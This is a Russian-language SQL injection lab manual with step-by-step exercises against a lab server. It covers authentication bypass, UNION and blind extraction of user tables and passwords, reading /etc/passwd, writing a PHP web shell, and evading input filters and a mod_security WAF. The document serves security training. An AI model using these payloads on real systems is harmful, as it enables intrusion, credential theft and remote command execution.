2. ОГЛАВЛЕНИЕ
1 ЗАДАНИЯ ЛАБОРАТОРНОЙ РАБОТЫ .........................................................................3
1.1 «В НЕДРЕНИЕ ОПЕРАТОРОВ SQL» (SQL I NJECTION ) 3
1.2 «С ЛЕПОЕ ВНЕДРЕНИЕ ОПЕРАТОРОВ SQL» (B LIND SQL I NJECTION ) 5
1.3 Р АБОТА С ФАЙЛОВОЙ СИСТЕМОЙ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 7
1.4 В ЫПОЛНЕНИЕ КОМАНД НА СЕРВЕРЕ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 8
1.5 О БХОД ПРОГРАММНЫХ ФИЛЬТРОВ БЕЗОПАСНОСТИ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 9
1.6 О БХОД W EB A PPLICATION F IREWALL (WAF) ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 11
2 ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ .............................................................................12
2.1 И НСТРУМЕНТЫ ДЛЯ РАБОТЫ С SQL I NJECTION 12
2.2 С СЫЛКИ НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ 12
Лабораторная работа по теме «Внедрение операторов SQL» Страница 2 из 12
3. 1 Задания лабораторной работы
1.1«Внедрение операторов SQL» (SQL Injection)
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:80/
1. Обнаружить a. Зайдите на интерфейс http://192.168.0.51:80/
уязвимость SQL b. Укажите в качестве имени пользователя и пароля 1
Injection
c. Вы увидите уведомление об ошибке авторизации.
d. В качестве имени пользователя укажите 1'
e. В качестве пароля укажите 1
f. Вы должны увидеть следующее сообщение об ошибке:
Query failed: You have an error in your SQL syntax
2. Обойти процедуру a. В том же интерфейсе укажите в качестве имени пользователя и пароля 1'OR'1'='1
аутентификации b. Вы должны увидеть следующее сообщение об успешной авторизации:
Logged as Administrator
c. Вернитесь к началу и попробуйте ввести разные комбинации в качестве имени
пользователя и пароля, например:
'or 1=1--
'or(1)=(1)--
'or 0x50=0x50--
d. Во всех приведенных случаях в примере выше Вы будете являться авторизованным
пользователем системы, что достигается путем эксплуатации уязвимости SQL
Injection.
3. Получить список a. Перейдите по ссылке, которая становиться доступной после успешной авторизации в
всех таблиц и системе.
колонок в b. В качестве параметра «id» в адресной строке браузера введите следующую
пространстве СУБД комбинацию:
14+union+select+'mytext'
c. Теперь, в качестве параметра «id» в адресной строке браузера введите такую
комбинацию:
14+limit+0+union+select+'mytext'
d. Как можно заметить, в этом случае на странице отображается текст, который введен
между двумя одинарными кавычками.
mytext
e. На этот раз в качестве параметра «id» в адресной строке браузера введите
следующую комбинацию:
14+union+select+'mytext'--
f. Должен быть получен результат, аналогичный предыдущему, но при выполнении
этого запроса отобразится вводимый текст между двумя одинарными кавычками
Лабораторная работа по теме «Внедрение операторов SQL» Страница 3 из 12
4. Действие Описание
совместно с данными из СУБД.
test14
mytext
g. Попробуйте в качестве параметра «id» в адресной строке браузера ввести
следующую комбинацию:
14+OR+1=1--
Вы увидите содержимое всей таблицы.
h. Выведите список всех таблиц и колонок в базе данных, выполнив следующий запрос:
?id=14+union+select+concat_ws(0x3a,table_name,column_name)
+from+information_schema.columns--
i. Получите все значения из таблицы «users». Запрос должен выглядеть следующим
образом:
?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users--
4. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
пользователем http://192.168.0.51:80/ под пользователем sqladmin.
«sqladmin»
Лабораторная работа по теме «Внедрение операторов SQL» Страница 4 из 12
5. 1.2«Слепое внедрение операторов SQL» (Blind
SQL Injection)
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:81/
1. Используя a. Зайдите на интерфейс http://192.168.0.51:81/
одинарную кавычку, b. Перейдите на страницу «/actions.php».
найти уязвимость
c. Последовательно, подставляя одинарную кавычку во все параметры, передаваемые
типа Blind SQL
странице методом GET, необходимо обнаружить уязвимость SQL Injection. В
Injection
данном случае – это Blind SQL Injection.
Query failed: You have an error in your SQL syntax
d. Убедитесь, что в данном случае уязвимость является «Слепым внедрением
операторов SQL», используя методы, изученные на предыдущем занятии.
2. Используя технику с a. В уязвимый параметр введите следующую конструкцию:
функцией 1 AND extractvalue(1,concat(0x5C,(select 'mytext')))--
ExtractValue()
b. Как можно заметить, на странице отображается текст, который вводится между
получить
двумя одинарными кавычками.
идентификаторы и
пароли всех Query failed: XPATH syntax error: 'mytext'
пользователей c. Используйте следующий запрос, чтобы получить запись о первой таблице с первой
3. Авторизоваться под колонкой этой таблицы в пространстве СУБД:
пользователем 1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
«blindSQLadmin» from information_schema.columns limit 0,1)))--
d. Используя подобный запрос, становиться возможным последовательно выявить всю
доступную структуру СУБД. Следующий запрос позволит прийти к цели несколько
быстрее:
1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
from information_schema.columns where table_schema!='information_schema' limit
0,1)))--
e. Увеличивая значение limit (limit 0,1 > limit 1,1 > limit 2,1 и т.д.), узнайте название
таблицы пользователей и колонок в ней.
f. Используя все ту же технику эксплуатации уязвимости Blind SQL Injection, получите
пароль пользователя «blindSQLadmin».
Опционально, можно получить пароли и других пользователей в этой таблице.
g. Авторизуйтесь под пользователем «blindSQLadmin» в интерфейсе
http://192.168.0.51:81/.
Примечание: Помните про ограничение в 31 символ в возвращаемой ошибке, вызываемой функцией extractvalue().
Для обхода этого ограничения может использоваться функция MID(). Пример: mid((select 123 from table limit 0,1),32,63)
4. Используя «sleep()», a. Перейдите на страницу «/actions.php».
найти уязвимость b. Последовательно подставляя конструкцию «1 and+sleep(10)--» во все параметры,
типа Double Blind передаваемые к странице методом GET, можно обнаружить уязвимость Double Blind
SQL Injection
Лабораторная работа по теме «Внедрение операторов SQL» Страница 5 из 12
6. Действие Описание
SQL Injection, помимо уже выявленной «Слепой инъекции».
Примечание: Функция sleep() приостанавливает выполнение запроса на N секунд.
5. Используя технику a. В уязвимый параметр подставьте следующие конструкции и сравните результаты их
эксплуатации выполнения:
уязвимости данного 1 AND if((lower(mid((select 'a'),1,1)))='a',sleep(10),1)--
типа, получить
1 AND if((lower(mid((select 'b'),1,1)))='a',sleep(10),1)--
пароль пользователя
«2blindSQLadmin» b. Используя данную технику аналогично методу эксплуатации Blind SQL Injection,
можно получить все доступные таблицы и колонки из таблицы
«information_schema.columns».
Примечание: таблица пользователей для Blind SQL Injection и для Double Blind SQL в
данном тестовом задании отличаются на единицу, а имена колонок полностью
совпадают.
c. Используя технику эксплуатации уязвимости Double Blind SQL Injection, получите
пароль пользователя «2blindSQLadmin».
Примечание: Пароль пользователя «2blindSQLadmin» представлен в нижнем регистре и содержит одну цифру.
6. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь под
пользователем пользователем «2blindSQLadmin» в первом интерфейсе http://192.168.0.51:81/.
«2blindSQLadmin»
Лабораторная работа по теме «Внедрение операторов SQL» Страница 6 из 12
7. 1.3Работа с файловой системой при эксплуатации
уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:8080/
1. Прочитать файл /etc/ a. Зайдите на интерфейс http://192.168.0.51:8080/
passwd b. В параметр «f» подставьте следующую конструкцию:
5 union select load_file('/etc/passwd')--
c. Таким образом, Вы можете читать любой файл в файловой системе, доступ к
которым на уровне ACL-файловой системы предоставлен пользователю, от имени
которого запущена СУБД.
d. Попробуйте прочитать файлы /etc/hosts, /etc/motd и /etc/rc.conf.
e. Как вы можете заметить, доступ на чтение к файлам /etc/hosts и /etc/motd
предоставлен пользователю MySQL, а доступа к файлу /etc/rc.conf нет.
2. Узнать путь до a. Функция load_file() также позволяет осуществлять листинг каталогов, читая их как
корневого каталога файл.
web-сервера b. Следующая конструкция позволит получить содержимое корневого каталога сервера:
5 union select load_file('/')--
c. Используйте эту технику, чтобы найти корневой каталог текущего виртуального
хоста Web-сервера Apache.
Примечание: Относительный путь к каталогу, который требуется найти, «/data3» .
3. Записать a. Используя конструкции «into outfile» или «into dumpfile», становиться возможным
произвольную создать файл на сервере с произвольным содержимым (если это не противоречит
строку в файл ACL). Вы можете попробовать записать файл в каталог «/tmp», права на запись в
ServerDocumentRoot который обычно есть у всех пользователей ОС:
tmprandom_name 5 union select 'test' into dumpfile '/tmp/test.txt'--
5 union select 'test' into outfile '/tmp/test.txt'--
b. По аналогии с приведенными примерами создайте файл с произвольным именем в
каталоге «/usr/local/www/apache22/data3/tmp».
4. Прочитать a. Прочитайте созданный Вами файл с использованием функции load_file().
созданный файл
Лабораторная работа по теме «Внедрение операторов SQL» Страница 7 из 12
8. 1.4Выполнение команд на сервере при
эксплуатации уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:8080/
1. Создать web-shell в a. Зайдите на интерфейс http://192.168.0.51:8080/
каталоге b. Через параметр «f», используя конструкцию «into outfile» или «into dumpfile»,
ServerDocumentRoot запишите следующую строку:
shells
<? system($_GET[cmd]); ?>
в файл с произвольным именем и расширением «php» в корневой каталог текущего
виртуального хоста Web-сервера Apache – «/usr/local/www/apache22/data3/shells/».
2. Воспользоваться a. Обратитесь к созданному файлу по аналогии с приведенным ниже примером:
созданным web-shell http://192.168.0.51:8080/shells/<ваш_файл>.php?cmd=ls
для выполнения
b. Таким образом Вы получили возможность выполнять произвольные команды с
команд на сервере
правами Web-сервера (пользователя, от имени которого запущен демон Apache).
c. Выполните ряд команд, чтобы проверить свои привилегии и получить информацию о
сервере. Например: «ls –la /», «id», «ifconfig», «uptime».
3. Используя web-shell, a. Команда «cat» позволит получить содержимое указанного файла в задании.
получить
содержимое файла
/etc/passwd
Лабораторная работа по теме «Внедрение операторов SQL» Страница 8 из 12
9. 1.5Обход программных фильтров безопасности
при эксплуатации уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:8585/
1. Найти уязвимость a. Зайдите на интерфейс http://192.168.0.51:8585/
типа SQL Injection b. Перейдите на страницу «/actions.php».
c. Последовательно подставляя одинарную кавычку во все параметры, передаваемые к
странице методом GET, можно обнаружить уязвимость SQL Injection.
d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами.
Примечание: Запрос должен быть составлен таким образом, чтобы работать в условиях фильтрации. Воспользуйтесь
интерфейсом http://192.168.0.51:8585/hex.php для преобразования строк в шестнадцатеричные представления.
2. Используя null-byte a. Во-первых, передаваемые Web-приложению параметры проверяются с
в начале запроса, использованием бинарно-зависимой функции ereg(), а, во-вторых, приложение
получить все уязвимо к null-byte. Используйте следующий запрос в уязвимом параметре,
идентификаторы и передаваемом к Web-приложению:
пароли из таблицы 1/*%00*/or+1=1--
пользователей
b. Из сообщения об ошибке прослеживается фильтрация поступающих в приложение
данных. Так, можно понять, что происходит следующая фильтрация:
«--» удаляются из запроса
«пробел» заменяется на символ X
c. Cформируйте запрос без пробелов:
1/*%00*/or/**/1=1
d. Таким образом, запрос отработал. Попробуйте использовать union:
1/*%00*/order/**/by/**/2/*в запросе возвращается одна колонка*/
1/*%00*/union/**/select/**/1
e. И снова ошибка. Попробуйте вставить вырезаемую комбинацию «--» в «union» и
«select»:
1/*%00*/uni--on/**/se--lect/**/1
f. Как можно заметить, запрос отработал. Теперь можно попробовать выяснить имя
требуемой таблицы и колонок в ней, выполнив следующий запрос:
1/*%00*/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!='information_schema'
g. Фильтруются одинарные кавычки. Можно заменить «information_schema» на его
шестнадцатеричный эквивалент «0x696E666F726D6174696F6E5F736368656D61».
Запрос примет вид:
1/*%00*/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
Лабораторная работа по теме «Внедрение операторов SQL» Страница 9 из 12
10. Действие Описание
h. Запрос отработал. Теперь используйте следующий запрос:
1/*%00*/limit/**/0/**/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
i. Такой запрос в условиях фильтрации данного примера позволяет читать содержимое
таблицы «information_schema.columns». Однако воспользоваться конструкцией
«limit 0,1» не получиться, т.к. в конце sql-запроса используется «limit 1» и нет
возможности в данном случае «обрезать» его. Но существует несколько вариантов
решения данной проблемы. Одно из них – отсеивать уже известные данные. Пример:
1/*%00*/limit/**/0/**/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/
AND/**/table_name/**/not/**/in(0x616374696F6E73)
Для случая выполнения лабораторной работы подобный подход более чем приемлем.
Но можно использовать и более простое решение:
1/*%00*/limit/**/0/**/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/
limit/**/0,1/**/un--ion/**/sel--ect/**/1
j. Используя указанную технику, получите пароль пользователя sqlHacker.
Примечание: Обратите внимание на то, что таблица пользователей расположена в базе данных, отличной от текущей
(по умолчанию для сценария). Для идентификации имени базы данных можно использовать данные из «table_schema»
таблицы «information_schema.columns».
3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
пользователем http://192.168.0.51:8585/ под пользователем sqlHacker.
«sqlHacker»
Лабораторная работа по теме «Внедрение операторов SQL» Страница 10 из 12
11. 1.6Обход Web Application Firewall (WAF) при
эксплуатации уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:9191/
1. Найти уязвимый a. Зайдите на интерфейс http://192.168.0.51:9191/
сценарий для b. Перейдите по ссылке «actions here».
проведения атаки
c. Используя одинарную кавычку, убедитесь, что оба параметра в адресной строке
методом HPF
уязвимы к атаке «Внедрение операторов SQL».
d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами.
Например, установите в значение любого параметра конструкцию: «1 union select 1»
Вы увидите стандартное сообщение об ошибке, возвращаемое Mod_Security.
Примечание: Web-приложение защищено mod_security v.2.5.9.
2. Используя технику a. Используя технику HPF, следующая конструкция будет пропущена WAF:
HPF, получить все id=-1+union/*&lang=*/select+1,2,3
идентификаторы и
b. Если таким образом попытаться обратиться к таблице
пароли из таблицы
«information_schema.columns» и колонкам «table_name» или «column_name», то
пользователей
WAF заблокирует запрос.
c. Для того чтобы продвинуться дальше, можно попробовать отыскать наиболее
популярные таблицы в текущей базе данных. Например: «logins», «admins», «users».
id=-1+union/*&lang=*/select+1,2,3+from+xxx
Если будет получен ответ:
Query failed: Table 'web5.xxx' doesn't exist
то такой таблицы не существует, в противоположном случае и в этом примере
таблица с запрашиваемым именем в базе данных имеется.
d. После того, как таблица будет найдена, можно воспользоваться новым методом для
обнаружения колонок в MySQL >=5.0 (метод Qwazar):
Обнаружение первой колонки:
id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b)a
Колонка «id» обнаружена, исключаем ее:
id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b+using(id))a
и т.д.
e. После того, как таблица с колонками будут идентифицированы, используя уже
известную Вам технику (п.A), получите пароль пользователя root.
Опционально, можно получить пароли и других пользователей в этой таблице.
3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
пользователем http://192.168.0.51:9191/ под пользователем root.
«root»
Лабораторная работа по теме «Внедрение операторов SQL» Страница 11 из 12
12. 2 Дополнительные материалы
2.1 Инструменты для работы с SQL Injection
sqlmap (http://sqlmap.sourceforge.net/)
Полная поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server
Частичная поддержка: Microsoft Access, DB2, Informix, Sybase и Interbase
sqlus (http://sqlsus.sourceforge.net/)
Реализована поддержка только MySQL
bsqlbf-v2 (http://code.google.com/p/bsqlbf-v2/
Больше ориентирована под слепые SQL-инъекции. Реализована поддержка:
MySQL, Oracle, PostgreSQL и Microsoft SQL Server
2.2Ссылки на дополнительные материалы
WASC: http://projects.webappsec.org/SQL-Injection
OWASP: http://www.owasp.org/index.php/SQL_Injection
Ресурсы Securitylab: http://www.securitylab.ru/
Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle,
MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix)
Ресурсы Antichat:
MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html
MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127
MSSQL: http://forum.antichat.ru/thread15087.html
ORACLE: http://forum.antichat.ru/showthread.php?t=40576
PostgreSQL: http://forum.antichat.ru/thread35599.html
MSAccess: http://forum.antichat.ru/thread50550.html
Лабораторная работа по теме «Внедрение операторов SQL» Страница 12 из 12